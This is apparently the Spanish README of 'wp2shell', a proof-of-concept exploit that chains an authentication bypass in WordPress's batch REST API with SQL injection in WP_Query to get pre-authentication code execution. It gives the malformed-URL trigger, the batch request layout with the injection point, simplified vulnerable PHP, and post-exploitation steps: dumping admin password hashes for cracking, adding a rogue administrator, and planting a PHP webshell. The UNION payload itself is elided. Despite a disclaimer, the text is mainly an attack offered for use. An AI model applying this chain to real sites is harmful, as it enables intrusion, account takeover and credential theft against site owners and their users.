Prueba de concepto de RCE pre-autenticación que encadena un bypass de autenticación de la API batch REST de WordPress con una inyección SQL en WP_Query para volcar hashes, añadir usuarios administradores o implantar una webshell.
PoC de RCE Pre-Auth - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Solo para pruebas de penetración autorizadas e investigación de seguridad. Ejecutar esto contra sistemas sin autorización por escrito es ilegal. Los autores no aceptan ninguna responsabilidad por el mal uso.
wp2shell es un exploit de prueba de concepto que encadena dos vulnerabilidades reportadas de forma independiente para lograr ejecución remota de código no autenticada en instalaciones de WordPress sin parchear.
| CVE | Componente | Clase | Autenticación requerida |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Desincronización de arrays → bypass de autenticación | Ninguna |
| CVE-2026-60137 | WP_Query | Inyección SQL vía author__not_in | Ninguna (eludida por la anterior) |
El resultado final: una shell en la máquina, una cuenta de administrador maliciosa o un hash de credenciales volcado — todo desde una única petición POST no autenticada.
Versiones afectadas: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Corregido en: WordPress 6.9.5 / 7.0.2 (parche publicado junto con la divulgación coordinada)
WordPress 5.6 introdujo el endpoint de procesamiento por lotes en /wp-json/batch/v1. Permite a los clientes REST autenticados agrupar múltiples subpeticiones en un único viaje HTTP. Cada subpetición es validada y despachada de forma independiente por WP_REST_Server::serve_batch_request_v1().
Dentro de serve_batch_request_v1() (simplificado):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
Se espera que los dos arrays ($responses y $matches) permanezcan sincronizados — una entrada por subpetición, mismo índice. Cuando la subpetición [0] falla en wp_parse_url(), añade una entrada a $responses pero no a $matches. Después del primer bucle:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
El bucle 2 entonces despacha $matches[0] y escribe el resultado en $responses[0]. Está despachando request[1] pero sobrescribiendo el índice 0 en responses — y, de forma crítica, utiliza el contexto de permisos que se calculó como parte del manejo del error de la request[0] fallida, no el contexto de permisos del endpoint objetivo.
El efecto práctico: cualquier endpoint que requiera autenticación (incluidos los endpoints que realizan consultas SQL) puede ser invocado sin credenciales.
"path": "://\x00" # triggers wp_parse_url() → false
La cadena ://\x00 es una cadena válida en Python pero una URL inválida en el wrapper wp_parse_url() de PHP (el byte nulo hace que el parseo falle, devolviendo false en lugar de un WP_Error, lo que hace inútil la comprobación is_wp_error() — solo $parsed === false lo detecta, y la alineación del array ya está rota en ese punto).
author__not_in de WP_QueryLa REST API de WordPress para entradas (/wp/v2/posts) expone un parámetro de consulta author_exclude que se mapea directamente al argumento author__not_in de WP_Query. WP_Query es la abstracción de base de datos central utilizada para casi todas las consultas de contenido en WordPress.
En WP_Query::parse_query() (simplificado):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Más adelante en WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
La sanitización solo se activa cuando $author__not_in es un array. El sistema de tipos de PHP determina esto en función de cómo llegó el valor:
[1, 2, 3] → is_array() = true → sanitizado"1,2,3" (una cadena) → is_array() = false → no sanitizadoEl endpoint REST acepta author_exclude desde la cadena de consulta de la URL. Llega como una cadena. WP_Query omite el bloque de sanitización, y el valor sin procesar se interpola en la cláusula WHERE de SQL.
El punto de inyección aterriza dentro de un contexto NOT IN (...):
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Debido a que el endpoint batch despacha la subpetición como parte de un resultado de consulta mayor, las filas del UNION se devuelven en el cuerpo de la respuesta JSON de REST, lo que convierte esto en una extracción Boolean/UNION sin ciegas — sin necesidad de timing ni de canales fuera de banda.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Instalar dependencias:
pip install requests cloudscraper